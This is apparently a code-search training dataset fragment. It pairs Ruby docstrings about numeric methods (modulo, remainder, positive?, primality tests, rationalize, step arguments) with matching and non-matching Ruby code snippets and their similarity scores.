"def __real__(x)\n\t\tx.kind_of?(Numeric) && x.real?\n\tend",
"def test_Complex_InstanceMethods_to_i\n\t\tassert_equal((5/2), Complex(2.5, 0).to_i)\n\tend",
"def is_num?\n @flags & NUM_FLAG != 0\n end",
"def is_num?\n @flags & NUM_FLAG != 0\n end",
"def test_Complex_InstanceMethods_imaginary\n\t\tassert_equal(-3, Complex(2, -3).imaginary)\n\t\tassert_equal(-3, Complex(\"2-3i\").imaginary)\n\tend",
"def is_integer?(num)\n\tif num.is_a? Integer\n\t\ttrue\n\telsif num.is_a? Float\n\t\tif num.nan?\n\t\t\tfalse\n\t\telsif num == num.floor\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\telse\n\t\tfalse\n\tend\nend",
"def zero?\n # @digits.to_i == 0 and self.finite?\n @digits == 0 && @special._equal?(0)\n end",
"def zero?\n @digits.to_i == 0 and self.finite?\n end",
"def integer?() end",
"def is_real_int(value)\n value.ceil == value.floor\n end",
"def is_real?\n real?\n end",
"def complex?\n @complex\n end",
"def octagonal?\n fcache[:octagonal] ||= (Math.sqrt(3*self +1)+1)% 3 == 0\n end",
"def complex?\n false\n end",
"def is_integer?(n)\n (n - n.to_i).abs < 0.0000001\nend",
"def is_integer?(num)\n num.class == Fixnum || num.class == Bignum ||\n ( num.is_a?(Float) && !num.nan? && num.to_i == num )\n end",
"def is_integer?(num)\n num.class == Fixnum || num.class == Bignum ||\n ( num.is_a?(Float) && !num.nan? && num.to_i == num )\n end",
"def test_Complex_InstanceMethods_real?\n\t\tassert_equal(false, Complex(1,1).real?)\n\t\tassert_equal(false, Complex(1,0).real?)\n\tend",
"def test_Complex_InstanceMethods_real\n\t\tassert_equal(2, Complex(2,3).real)\n\t\tassert_equal(0, Complex::I.real)\n\tend",
"def to_s\n if @real != 0\n if defined?(Rational) and @image.kind_of?(Rational) and @image.denominator != 1\n\tif @image >= 0\n\t @real.to_s+\"+(\"+@image.to_s+\")i\"\n\telse\n\t @real.to_s+\"-(\"+(-@image).to_s+\")i\"\n\tend\n else\n\tif @image >= 0\n\t @real.to_s+\"+\"+@image.to_s+\"i\"\n\telse\n\t @real.to_s+\"-\"+(-@image).to_s+\"i\"\n\tend\n end\n else\n if defined?(Rational) and @image.kind_of?(Rational) and @image.denominator != 1\n\t\"(\"+@image.to_s+\")i\"\n else\n\t@image.to_s+\"i\"\n end\n end\n end"
] | [
"0.7147942",
"0.7102622",
"0.66347605",
"0.6596986",
"0.6315472",
"0.6164102",
"0.6120823",
"0.6077887",
"0.60494995",
"0.5986728",
"0.59764105",
"0.59593505",
"0.59090275",
"0.59090275",
"0.58739436",
"0.58184606",
"0.57896084",
"0.57421935",
"0.5732313",
"0.57304925",
"0.5705146",
"0.56920713",
"0.56631976",
"0.56595963",
"0.56183815",
"0.5615543",
"0.5615543",
"0.5585437",
"0.55565417",
"0.5536091"
] | 0.82949585 | 0 |
Ruby compatible modulus Returns the modulus of `self` divided by `y`. Rounding is compatible with the ruby method Numericmodulo. Unlike `mod`, this is not affected by `Calc.confg(:mod)`. | def modulo(y)
mod(y, ZERO)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def remainder(y)\n z = modulo(y)\n if !z.zero? && ((self < 0 && y > 0) || (self > 0 && y < 0))\n z - y\n else\n z\n end\n end",
"def divmod(y)\n quomod(y, ZERO)\n end",
"def mod(x, y)\n raise NotImplementedError\n end",
"def modulo(x, y)\n if y == 0\n return \"Psst. You can't divide by zero. Please try again.\"\n else\n return x % y\n end\nend",
"def inv_mod x,n\n d,r,s = gcd2 x,n\n if d==1\n r % n\n else\n 0\n end\nend",
"def modulus(v)\n @modulus = v\n end",
"def divmod(val); end",
"def modulo(other)\n self % other\n end",
"def modulo(p0) end",
"def divmod(p0) end",
"def n_mod_m x, y\n\tif x < y \n\t\treturn x\n\tend\n\tuntil x < y do\n\t\tx = x - y \n\tend\n\tx\nend",
"def remainder(val); end",
"def my_modulo(dividend, divisor)\r\n # your code goes here\r\n # use of modulo operator\r\n\r\n dividend % divisor\r\nend",
"def modulus(d, e)\n puts \"MODULUS #{d} % #{e}\"\n return d % e\nend",
"def mod(num1, num2)\n num2.to_f % num1.to_f;\nend",
"def modulo_of(fraction); end",
"def mod\n x, y = stack.pop(2)\n push x % y\n end",
"def modpow(a, x, mod)\n return 1 if x == 0\n return a if x == 1\n half = modpow(a, x/2, mod)\n val = half*half\n val *= a if x.odd?\n val % mod\nend",
"def modulus\n distance_to(origin)\n end",
"def by_mod\n l = self\n if (l > Math::PI)\n while (l > Math::PI)\n l = l - 2*Math::PI\n end\n else\n while (l < -Math::PI)\n l = l + 2*Math::PI\n end\n end\n l\n end",
"def mod(first_number, second_number)\n first_number % second_number\nend",
"def func_mod(args)\n p1 = _eval(car(args))\n p2 = _eval(car(cdr(args)))\n\n if p1.type != LObject::OBJ_INTEGER or p2.type != LObject::OBJ_INTEGER\n if @lint\n Error.warn(\"warning: modulo with a non integer operand\")\n end\n return @o_man.nil\n end\n\n p3 = @o_man.new_object(LObject::OBJ_INTEGER)\n if p2.value.i == 0\n if @lint\n Error.warn(\"warning: modulo by zero\")\n end\n p3.value.i = 0\n else\n p3.value.i = p1.value.i % p2.value.i\n end\n\n return p3\n end",
"def modulo(arg0)\n end",
"def modulo(arg0)\n end",
"def remainder(p0) end",
"def modulo(other)\n Modulo.new(self, other)\n end",
"def divmod(arg0)\n end",
"def divmod(arg0)\n end",
"def modulo(dividend, divisor)\n puts \"#{dividend} % #{divisor} = #{dividend.modulo(divisor)}\\n\"\nend",
"def mod(n, m)\n return ((n % m) + m) % m\nend"
] | [
"0.7556742",
"0.72860074",
"0.72519183",
"0.6677378",
"0.66708475",
"0.66103697",
"0.6557979",
"0.6556338",
"0.65362805",
"0.6480929",
"0.64806366",
"0.6351008",
"0.6275579",
"0.6263454",
"0.6254176",
"0.6238002",
"0.6181821",
"0.60843366",
"0.60833323",
"0.6072848",
"0.606256",
"0.60496664",
"0.6022803",
"0.6022803",
"0.59886235",
"0.5958567",
"0.5926146",
"0.5926146",
"0.59146243",
"0.5909672"
] | 0.7883488 | 0 |
Return true if `self` is greater than zero. This method exists for ruby Integer/Rational compatibility | def positive?
self > ZERO
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def greater_than_zero?\n return false if nil?\n to_i.positive?\n end",
"def nonnegative?\n return self >= 0\n end",
"def negative?\n self < ZERO\n end",
"def negative?\n self < 0\n end",
"def negative?\n self <= 0\n end",
"def nonpositive?\n return self <= 0\n end",
"def negative?\n self < 0\n end",
"def negative?\n return self < 0\n end",
"def less_than_or_equal_to_zero(num)\n\treturn num <= 0 ? true : false\nend",
"def negative?\n value < 0\n end",
"def zero?\n # @digits.to_i == 0 and self.finite?\n @digits == 0 && @special._equal?(0)\n end",
"def >(other)\n o = (self <=> other)\n if o._equal?(nil)\n raise ArgumentError, 'comparision failed'\n end\n o > 0\n end",
"def zero?\n @digits.to_i == 0 and self.finite?\n end",
"def negative? (numb)\n return false if numb > 0\n return true\nend",
"def rest?\n @value < 0\n end",
"def positive? number\n return number > 0 ? true : false\n end",
"def zero?\n value == 0 \n end",
"def zero?\n @value.zero?\n end",
"def sign\n return -1 if self < 0\n return 1 if self > 0\n return 0\n end",
"def zero?\n end",
"def near_zero_or_less?(value)\n (value < 0.0 or near_zero?(value))\n end",
"def min?\n @number.zero?\n end",
"def above_zero(value)\n value.negative? ? 0 : value\n end",
"def nonzero?\n !zero?\n end",
"def zero?(a)\n a == 0\n end",
"def of_number(val)\n val > 0\n end",
"def zero?() end",
"def zero?() end",
"def negative(num)\n return num<0\nend",
"def too_low? temp # check if temp is below absolute zero\n temp < 0\nend"
] | [
"0.7971782",
"0.75748765",
"0.7479741",
"0.7403973",
"0.73154706",
"0.72850955",
"0.7236651",
"0.72205824",
"0.6897486",
"0.67979646",
"0.6579722",
"0.6560223",
"0.6530774",
"0.6525379",
"0.6440879",
"0.64405787",
"0.636887",
"0.63283986",
"0.6317299",
"0.62608963",
"0.62403023",
"0.62276584",
"0.6203778",
"0.617455",
"0.6171015",
"0.6146172",
"0.6142993",
"0.6142993",
"0.61299664",
"0.6099584"
] | 0.7841954 | 1 |
Probabilistic primacy test Returns 1 if ptest? would have returned true, otherwise 0. | def ptest(*args)
ptest?(*args) ? ONE : ZERO
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test?()\n return $testP ;\n end",
"def probA0(bit)\n\n # not quite zero, to avoid paying infinitely large\n # penalty when calculating score (div by zero)\n if bit == 0\n return 0.999999\n else #bit == 1\n # This value can be used to tweak coverage vs\n # exclusivity of modules\n return 0.000005\n end\nend",
"def rand_test p\n 20.downto(0) do |i|\n a = 1+rand(p-1)\n x = fastexp_mod(a,(p-1),p)\n# puts \"a=#{a} x=#{x}\"\n if (x != 1)\n return false\n end\n end\n return true\nend",
"def prime?( p )\n return false if p < 1\n return true if p <= 2\n\n # I seriously refuse to make a separate method for this.. number_of_methods.should == number_of_problems\n # DO YOU READ ME ALEX? I KNOW YOU DO!\n factorial = lambda do | n |\n ( 1..n ).inject { | product, item | product * item }\n end\n\n remainder = ( factorial.call( p - 1 ) + 1 ) % p\n remainder.zero?\nend",
"def IsPrime (testValue)\n\t# There are no primes less than 2\n\tif (testValue < 2)\n\t\treturn false\n\tend\n\t\n\tprimeState = true\n\t\n\tfor i in 2...testValue\n\t\tif ((testValue % i) == 0)\n\t\t\tprimeState = false\n\t\tend\n\tend\n\t\n\treturn primeState\nend",
"def pred?(p)\n @pred.include?(p)\n end",
"def is_prime(nb)\n test = count = 0\n if (nb == 1)\n return -1\n end\n for i in 2..nb-1\n count++\n if (nb % i == 0)\n test = false\n end\n end\n if (!test)\n return 1\n else\n return 0\n end\nend",
"def test_prime(candidate, previous_primes)\n\tn = 0 \n\twhile previous_primes[n] <= Math.sqrt(candidate) do \n\t\tif candidate % previous_primes[n] == 0 \n\t\t\treturn false \n\t\telse \n\t\t\tn +=1 \n\t\tend \n\tend \n\treturn true \nend",
"def test_numbers_less_than_one_are_not_prime\n assert_equal(false, @primes_container.is_prime?(0))\n end",
"def conditional_probability\nend",
"def not_10001_prime(prime_count)\n prime_count != 10001\nend",
"def prim value\n for i in 2..(value - 1)\n if value % i == 0 \n return 0\n end\n end\n \n return 1\nend",
"def test_ut_t4_mtv_pu_003\n pu = Pu.find(1)\n pj_id = 1\n assert_equal TRUE, pu.check_pj_belong_to_pu?(pj_id)\n pj_id = 3\n assert_equal FALSE, pu.check_pj_belong_to_pu?(pj_id)\n end",
"def poisson_calc(expected, prng) #expected number of occurences\n\t\tl = Math.exp(-expected) #(P|X = 0) \n\t\tk = 0.0 #(number of occurences)\n\t\tp = 1.0 #The product of the urandoms\n\t\tk = 1.0 unless p > l # need because 1.0 !> 1.0\n\t\twhile p > l \n\t\t\tu = prng.rand\n\t\t\tp *= u\n\t\t\tk += 1 \n\t\tend\n\t (k - 1)\n\tend",
"def prime_callback(wants_to_check_prime, int)\n wants_to_check_prime ? check_prime?(int) : nil\nend",
"def is_prime?\r\n\t#Your code here\r\nend",
"def prime?(num)\n (2...num).each do |i|\n return false if num % i == 0\n # binding.pry\n end\n num == 1 ? false : true\nend",
"def should_invent?\n rand(100) < @probability * 100\n end",
"def prime?(n)\n\tPrime.prime?(n)\nend",
"def par(x)\r\n\t(x % 2 ==0) ? (return true):(return false)\r\nend",
"def ptest(t)\n\tcase t.test\n\twhen 1\n\t\treturn \"is an equilateral triangle\"\n\twhen 2\n\t\treturn \"is an isosceles triangle\"\n\twhen 3\n\t\treturn \"is a scalene triangle\"\n\twhen 4\n\t\treturn \"is a right triangle\"\n\twhen 5\n\t\treturn \"is not a triangle\"\n\telse\n\t\treturn \"error\"\n\tend\nend",
"def aprobado?(nota1, nota2)\n promedio = (nota1 + nota2)/2\n promedio >= 5? true : false #IF ternario\nend",
"def probNull(bit)\n if bit == 1\n return @probNullVal\n else #bit == 0\n return @negProbNullVal\n end\nend",
"def check_priority_trigger_quick_claw(pokemon)\n return rand(100) < 20\n end",
"def test(*params)\n if result == false\n @tests += 1\n self._test *params\n self.result = false if result.nil?\n end\n result\n end",
"def identity_test(proc, precision = 10000, verbose = false)\n # Seeting up the test boolean\n test_result = true\n \n # Transforming the number of tests to a strictily positive integer\n precision = [1, precision.to_i].max\n\n # Iterating from 0 to the max\n for i in 0..precision do\n # 1st we calculate the value to test\n test_value = i.to_f / (precision.to_f)\n # Then if the identity doesn't return the value it was given\n if proc.call(test_value) != test_value then\n # We set the result to false\n test_result = false\n # And we stop iterating\n break\n end\n end\n\n # Then we display the result of the test if verbose is on\n if verbose then\n if test_result then\n puts \"OK\", \"Function given seems to be IDENTITY at test precision of #{precision}.\"\n else\n STDERR.puts \"KO /!\\\\./!\\\\./!\\\\\", \"Function given differs from IDENTITY at test value #{test_value}, at iteration number #{i} with precision #{precision}.\"\n end\n end\n\n return test_result\nend",
"def prime?(int)\n \nend",
"def test_ut_t4_mtv_pu_004\n pu = Pu.find(1)\n pj_id = 5\n assert_equal FALSE, pu.check_pj_belong_to_pu?(pj_id)\n end",
"def prime?(arg)\n Prime.prime?(arg)\nend",
"def ptest_method_1(test); end"
] | [
"0.67543375",
"0.62758666",
"0.6239429",
"0.6154191",
"0.6147697",
"0.6068146",
"0.5985209",
"0.5916946",
"0.59145266",
"0.5889934",
"0.58492863",
"0.5785239",
"0.5783308",
"0.57731485",
"0.5751112",
"0.57444394",
"0.57311755",
"0.5721812",
"0.572136",
"0.5713531",
"0.56984454",
"0.56961423",
"0.5694813",
"0.56829274",
"0.56701696",
"0.5669931",
"0.5669406",
"0.56559575",
"0.56427073",
"0.5638947"
] | 0.7733468 | 0 |
Returns a simpler approximation of the value if the optional argument eps is given (rat|eps| <= result <= rat+|eps|), self otherwise. Note that this method exists for ruby Numeric compatibility. Libcalc has an alternative approximation method with different semantics, see `appr`. | def rationalize(eps = nil)
eps ? Q.new(to_r.rationalize(eps)) : self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def precision_at_fraction_recall val\n @p.each_index do |i|\n return actual_precision(i) if tpr(i) < val\n end\n 0.0\n end",
"def round!(prec)\n bounds = [@min, @max].map { |bound| bound.round(prec) }\n initialize(*bounds)\n return self\n end",
"def approximate?\n !exact?\n end",
"def solution(value)\n value.round(2)\nend",
"def round(precision = 0)\n return 0 if @numerator == 0\n return @numerator if @denominator == 1\n\n adj = (10 ** precision.abs).to_i\n adj = Rational(1, adj) if precision < 0\n\n value = self * adj\n\n value = if self > 0\n (value + Rational(1,2)).floor\n else\n (value - Rational(1,2)).ceil\n end\n\n result = Rational(value, adj)\n\n return result.numerator if result.denominator == 1\n result\n end",
"def solution(value)\n # enter your solution here\n value.round(2)\nend",
"def round; self.dup.round!; end",
"def Opt(from)\n p = recurse(from.arg)\n p ? @factory.Opt(p) : @factory.Epsilon()\n end",
"def + r\r\n ans = MyRational.new(@num,@den)\r\n ans.add! r\r\n ans\r\n end",
"def round\n self.dup.round!\n end",
"def check_approx(exp, act, eps = 1e-6)\n return ((exp >= (act - eps)) and (exp <= (act + eps)))\n end",
"def epsilon(num_class, mult=1)\n num_class.context.epsilon*mult\n end",
"def round_prec(digits)\n #This is a stub, used for indexing\n end",
"def round_to(precision=0)\n mulitplier = 10.0 ** (precision)\n (((((self)*mulitplier).round).to_f)/mulitplier)\n end",
"def + r\n ans = MyRational.new(@num, @den)\n ans.add! r\n ans\n end",
"def x_less_than_root_epsilon x, with_error\n result = square_x ? x*x : x\n\n with_error ? [result, Float::EPSILON * result.abs] : result\n end",
"def approx_same_values_as?(other)\n delta = s_copy.sub(other).to_a.inject(0.0) do |result, element|\n result + element**2.0\n end\n delta < EPSILON\n end",
"def big_epsilon(num_class, mult=1)\n context = num_class.context\n e0 = context.epsilon\n # we could compute with round-up instead of using next_plus, but we can't do that with Float\n den = (context.Num(1)-e0/2)\n big_eps = context.next_plus(e0*2/(den*den))\n big_eps*mult\n end",
"def estimate(cfrac, prec)\n last_result = nil\n terms = prec\n\n loop do\n # Estimate continued fraction for _n_ from 1 to _terms_.\n result = cfrac.a(terms)\n (terms - 1).downto(1) do |n|\n a = BigDecimal cfrac.a(n)\n b = BigDecimal cfrac.b(n)\n digits = [b.div(result, 1).exponent + prec, 1].max\n result = a + b.div(result, digits)\n end\n result = result.round(prec)\n\n if result == last_result\n return result\n else\n # Double _terms_ and try again.\n last_result = result\n terms *= 2\n end\n end\nend",
"def number_solution(value)\n value.round(2)\nend",
"def approx_1(precision)\n if precision < 1 && precision.positive?\n k = 2\n values_r = []\n values_f = []\n loop do\n curr_value = Rational(k - 1, faculty(k))\n values_r << curr_value\n values_f << curr_value.to_f\n break if (1 - sum(values_r)) <= precision\n\n k += 1\n end\n return { 'values_f' => values_f,\n 'values_r' => values_r,\n 'sum_f' => sum(values_f).to_f,\n 'sum_r' => sum(values_r),\n 'index' => k - 2 }\n end\n nil\n end",
"def round() end",
"def round(precision = nil)\n\t\tif precision\n\t\t\tmagnitude = 10.0 ** precision\n\t\t\t(self * magnitude).round / magnitude\n\t\telse\n\t\t\tprecisionless_round\n\t\tend\n\tend",
"def approximate!(number_of_digits = nil)\n if number_of_digits.nil?\n if exact? && !repeating?\n @repeat = nil\n end\n else\n expand! number_of_digits\n @digits.truncate! number_of_digits\n @repeat = nil\n end\n self\n end",
"def add(other, precs)\n if !other.kind_of?(BigDecimal)\n return self.add(BigDecimal(other.to_s), precs)\n elsif self.nan? or other.nan?\n return BigDecimal(\"NaN\")\n elsif !self.finite? and !other.finite? and self.sign != other.sign\n # infinity + -infinity\n return BigDecimal(\"NaN\")\n elsif !self.finite? or other.zero?\n return self\n elsif !other.finite? or self.zero?\n return other\n elsif self.exponent == other.exponent\n sd, od = self.align(other)\n sum = (sd.to_i * (self.sign <=> 0)) + (od.to_i * (other.sign <=> 0))\n s = sum.abs.to_s\n sumdiff = s.length - sd.length\n if sum < 0\n s = MINUS + RADIX + s\n else\n s = RADIX + s\n end\n BigDecimal(s + EXP + (self.exponent + sumdiff).to_s, precs)\n elsif self.exponent == 0 or other.exponent == 0\n if self.exponent == 0\n z = self\n nz = other\n else\n z = other\n nz = self\n end\n # so z is the one with the 0 exponent\n zd = z.digits.to_s\n nzd = nz.digits.to_s\n nzx = nz.exponent\n \n if nzx > 0\n zd = ('0' * nzx) + zd\n else # if nzx < 0\n nzd = ('0' * nzx.abs) + nzd\n end\n \n zd, nzd = BigDecimal.align(zd, nzd)\n\n l = zd.length\n sum = (nzd.to_s.to_i * (nz.sign <=> 0)) + (zd.to_s.to_i * (z.sign <=> 0))\n sumsign = sum < 0 ? MINUS : PLUS\n s = sum.abs.to_s\n sumdiff = s.length - zd.length\n BigDecimal(sumsign + RADIX + s + EXP + (sumdiff + [nzx, 0].max).to_s, precs)\n else\n a, b, extra = reduce(self, other)\n sum = a + b\n BigDecimal(SIGNS[sum.sign <=> 0].to_s + RADIX + sum.digits.to_s + EXP + (sum.exponent + extra).to_s, precs)\n end\n end",
"def optimal_answer?\n \tanswer_value == optimal_value\n end",
"def round(value)\n # If the number is within epsilon of X.5, round up.\n return value.ceil if (value % 1) - 0.5 > -0.00001\n value.round\n end",
"def estDouble()\n return @estDouble\n end",
"def NR(exp,num,prec)\r\n\tres = Float(num)\r\n\twhile((res**exp - num) > prec)\r\n\t\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\t\t#puts res\r\n\tend\r\n\treturn res\r\nend",
"def rounding_method; end"
] | [
"0.5490977",
"0.52321494",
"0.5128266",
"0.51264256",
"0.5101784",
"0.5004685",
"0.4975288",
"0.49502382",
"0.4937772",
"0.49344206",
"0.4920785",
"0.49117598",
"0.4890073",
"0.48879734",
"0.48690712",
"0.484556",
"0.4803894",
"0.47588322",
"0.47579437",
"0.47499502",
"0.47319672",
"0.47043276",
"0.46099204",
"0.45932782",
"0.45878348",
"0.45467758",
"0.4541044",
"0.45179248",
"0.45002612",
"0.4499148"
] | 0.6491223 | 0 |
Remainder of `self` divided by `y` This method is provided for compatibility with ruby's `Numericremainder`. Unlike `%` and `mod`, this method behaves the same as the ruby version, unaffected by `Calc.config(:mod). | def remainder(y)
z = modulo(y)
if !z.zero? && ((self < 0 && y > 0) || (self > 0 && y < 0))
z - y
else
z
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def divmod(y)\n quomod(y, ZERO)\n end",
"def modulo(y)\n mod(y, ZERO)\n end",
"def mod(x, y)\n raise NotImplementedError\n end",
"def remainder(val); end",
"def div(y)\n quo(y, ZERO)\n end",
"def remainder(v)\n @remainder = v\n end",
"def div!(rhs)\n inverse = 1.0 / rhs\n @x *= inverse\n @y *= inverse\n self\n end",
"def remainder(val)\n a, b = self, val\n b = b.exchange_to(a.currency) if b.is_a?(Money) and a.currency != b.currency\n\n a_sign, b_sign = :pos, :pos\n a_sign = :neg if a.cents < 0\n b_sign = :neg if (b.is_a?(Money) and b.cents < 0) or (b < 0)\n\n return a.modulo(b) if a_sign == b_sign\n a.modulo(b) - (b.is_a?(Money) ? b : Money.new(b, a.currency))\n end",
"def divmod(val); end",
"def modulo(x, y)\n if y == 0\n return \"Psst. You can't divide by zero. Please try again.\"\n else\n return x % y\n end\nend",
"def remainder(p0) end",
"def modulo(other)\n self % other\n end",
"def mod\n x, y = stack.pop(2)\n push x % y\n end",
"def divmod(p0) end",
"def get_remainder(num1,num2)\n num1%num2\nend",
"def right\n self.y = (y+1)%10\n end",
"def inv_mod x,n\n d,r,s = gcd2 x,n\n if d==1\n r % n\n else\n 0\n end\nend",
"def calculate_remainder(amount:, total:)\n 100 - calculate_percentage(amount: amount, total: total)\n end",
"def %(other)\n result = self./(other)\n result = (result.num%result.denom).to_i\n end",
"def my_modulo(dividend, divisor)\r\n # your code goes here\r\n # use of modulo operator\r\n\r\n dividend % divisor\r\nend",
"def n_mod_m x, y\n\tif x < y \n\t\treturn x\n\tend\n\tuntil x < y do\n\t\tx = x - y \n\tend\n\tx\nend",
"def my_remainder(a, b)\n\treturn nil if a == 0 || b == 0\n\treturn a.abs % b.abs if a.abs >= b.abs\n\treturn b.abs % a.abs if b.abs > a.abs\nend",
"def divmod(other)\n raise TypeError unless other.kind_of?(self.class)\n if other.zero?\n raise ZeroDivisionError; end\n q = @@Zero\n tmp = other\n while self >= tmp\n q = q.next\n tmp += other\n end\n [q, self + other - tmp]\n end",
"def int_remainder_without_modulo(i_dividend, i_divisor)\r\n # take the remainder of the integers => .6\r\n # multiply that remainder by i_divisor => .6*5 = 3.0\r\n # convert the float to an integer\r\n x = dec_remainder_of_two_integers(i_dividend, i_divisor)\r\n y = x * (i_divisor)\r\n y.to_i\r\nend",
"def remainder(arg0)\n end",
"def divide!(rhs)\n divide rhs, self\n end",
"def gcd x, y\n r = x % y # r - remainder\n if r == 0\n y\n else\n gcd(y, r)\n end\nend",
"def divmod(arg0)\n end",
"def divmod(arg0)\n end",
"def modulo(other)\n Modulo.new(self, other)\n end"
] | [
"0.72549194",
"0.7112831",
"0.6676469",
"0.6441571",
"0.6103782",
"0.60985047",
"0.6089278",
"0.6073645",
"0.5971857",
"0.5930151",
"0.589459",
"0.5836189",
"0.5819464",
"0.5752302",
"0.57501936",
"0.5738224",
"0.561644",
"0.5565591",
"0.55378705",
"0.5531112",
"0.5526351",
"0.55161154",
"0.5502892",
"0.55005395",
"0.54661834",
"0.544205",
"0.54235935",
"0.5405276",
"0.5405276",
"0.5401339"
] | 0.7910629 | 0 |
work out what the caller meant with their args to step returns an array of [to, by] parameters | def step_args(a1, a2)
if a1.is_a?(Hash)
# fake keywords style
badkeys = a1.keys - %i[to by]
raise ArgumentError, "Unknown keywords: #{ badkeys.join(", ") }" if badkeys.any?
to = a1.fetch(:to, nil)
by = a1.fetch(:by, ONE)
else
# positional style (limit, step)
to = a1
by = a2
end
[to ? Q.new(to) : nil, Q.new(by)]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def args() return @args end",
"def steps\n %w[first last]\n end",
"def generator(from, to, step)\n puts from, to, step\n return [] if step <= 0\n return process(from, to, -(step)) if from > to\n process(from, to, step)\nend",
"def args()\n #This is a stub, used for indexing\n end",
"def arguments\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n\n begin\n # at line 992:4: expression ( ',' expression )*\n @state.following.push( TOKENS_FOLLOWING_expression_IN_arguments_1708 )\n expression\n @state.following.pop\n # --> action\n\n \t @argument_counter = 0\n \t argument = @stack_operands.pop \n \t argument_type = @stack_types.pop\n \t if(@method_called.parameter_count <= @argument_counter)\n \t raise \"There are more arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t parameter_type = @method_called.parameter_list[@argument_counter].type\n \t if(argument_type != parameter_type)\n \t raise \"Argument '#{@argument_counter + 1}' in method #{@class_called.name}::#{@method_called.name} is not '#{parameter_type}' (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter += 1\n \t #Los prm empiezan en 1 pues el 0 le pertenece a self\n \t generate('prm', nil,argument, @argument_counter)\n \t \n # <-- action\n # at line 1008:4: ( ',' expression )*\n while true # decision 34\n alt_34 = 2\n look_34_0 = @input.peek( 1 )\n\n if ( look_34_0 == T__34 )\n alt_34 = 1\n\n end\n case alt_34\n when 1\n # at line 1009:7: ',' expression\n match( T__34, TOKENS_FOLLOWING_T__34_IN_arguments_1726 )\n @state.following.push( TOKENS_FOLLOWING_expression_IN_arguments_1735 )\n expression\n @state.following.pop\n # --> action\n\n \t argument = @stack_operands.pop \n \t argument_type = @stack_types.pop\n \t if(@method_called.parameter_count <= @argument_counter)\n \t raise \"There are more arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t parameter_type = @method_called.parameter_list[@argument_counter].type\n \t if(argument_type != parameter_type)\n \t raise \"Argument '#{@argument_counter + 1}' in method #{@class_called.name}::#{@method_called.name} is not '#{parameter_type}' (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter += 1\n \t #Los prm empiezan en 1 pues el 0 le pertenece a self\n \t generate('prm', nil,argument, @argument_counter)\n \t \n # <-- action\n\n else\n break # out of loop for decision 34\n end\n end # loop for decision 34\n # --> action\n\n \t if(@method_called.parameter_count != @argument_counter)\n \t raise \"There are less arguments than parameters in #{@class_called.name}::#{@method_called.name} (inside #{@current_class.name}::#{@current_method.name})\"\n \t end\n \t @argument_counter = 0;\n \t \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end\n \n return \n end",
"def arguments(method)\n\n\n\n # 211:7: first_argument[method] ( other_arguments[method] )*\n first_argument(method)\n\n # 211:30: ( other_arguments[method] )*\n while true\n alt30 = 2\n # ()* loopback of 211:30: ( other_arguments[method] )*\n look_ahead30_0 = look_ahead(1)\n if look_ahead30_0 == :COMMA \n alt30 = 1\n end\n case alt30\n when 1\n # 211:32: other_arguments[method]\n other_arguments(method)\n\n else\n break\n end\n end\n\n\n\n end",
"def upa_steps=(_arg0); end",
"def matched_arguments(step_name)\n match = @regexp.match(step_name)\n if (match)\n n = 0\n match.captures.map do |val|\n n += 1\n start = match.offset(n)[0]\n Java::GherkinFormatter::Argument.new(start, val)\n end\n else\n nil\n end\n end",
"def args\n @function.args\n end",
"def args(*) end",
"def args\n @args \n end",
"def args\n @args\n end",
"def get_args\n <<-CODE\n stack_push(I2N(c->args));\n CODE\n end",
"def args(count)\n sequence[ip+1, count]\n end",
"def extract_argument_lists(args, splittable_args); end",
"def my_args(first, *args, last)\n # Use the splat '*' in front of an argument to take any number of args into\n # an array, just like gather (i.e. '...') in JavaScript. Unlike gather,\n # it can be placed at the beginning, middle, or end of a list of arguments.\n puts \"first: #{first}\"\n puts \"args: #{args}\"\n puts \"last: #{last}\"\nend",
"def steps\n %w[name time]\n end",
"def my_args(first, *args, last)\n # Use the splat (i.e. *) in front of an \n # argument to take in any number of args\n # into an array (like gather in JS i.e. ...).\n # Unlike gather, it can be placed at the beginning,\n # the middle, or the end of a list of args\n puts(\"first: #{first}\")\n puts(\"args: #{args}\")\n puts(\"last: #{last}\")\nend",
"def args\n @args.args\n end",
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def meth(arg, *args)\n [arg, args]\nend",
"def get_all_steps range, step\n values = []\n value = range.first\n while value <= range.last\n values.push value\n value += step\n end\n return values\nend",
"def other_arguments(method)\n\n\n\n # 219:7: ',' argument[method]\n match(:COMMA)\n argument(method)\n\n\n\n\n end",
"def _loop_args\n @index = 0\n size = @arguments.args.size\n\n # use an incrementing index, to be able to peek to the next in the list\n # and to skip an item\n while @index < size\n yield @arguments.args[@index]\n\n _skip_next\n end\n\n self\n end",
"def slice_args(out)\n out.shape.map {:*}\n end",
"def arguments_method(*arguments)\n arguments.each do |argument|\n puts argument\n end\nend",
"def g *args # accept multiple arguments as an array\n\targs # returns an array\nend",
"def next_argument\n @remaining_arguments.shift\n end"
] | [
"0.6166008",
"0.60983247",
"0.59731555",
"0.59246105",
"0.5923346",
"0.59016085",
"0.58542025",
"0.58347696",
"0.5820988",
"0.57743716",
"0.5737893",
"0.5671607",
"0.56616783",
"0.5610003",
"0.56007636",
"0.5597052",
"0.55858856",
"0.55746925",
"0.5565199",
"0.5557948",
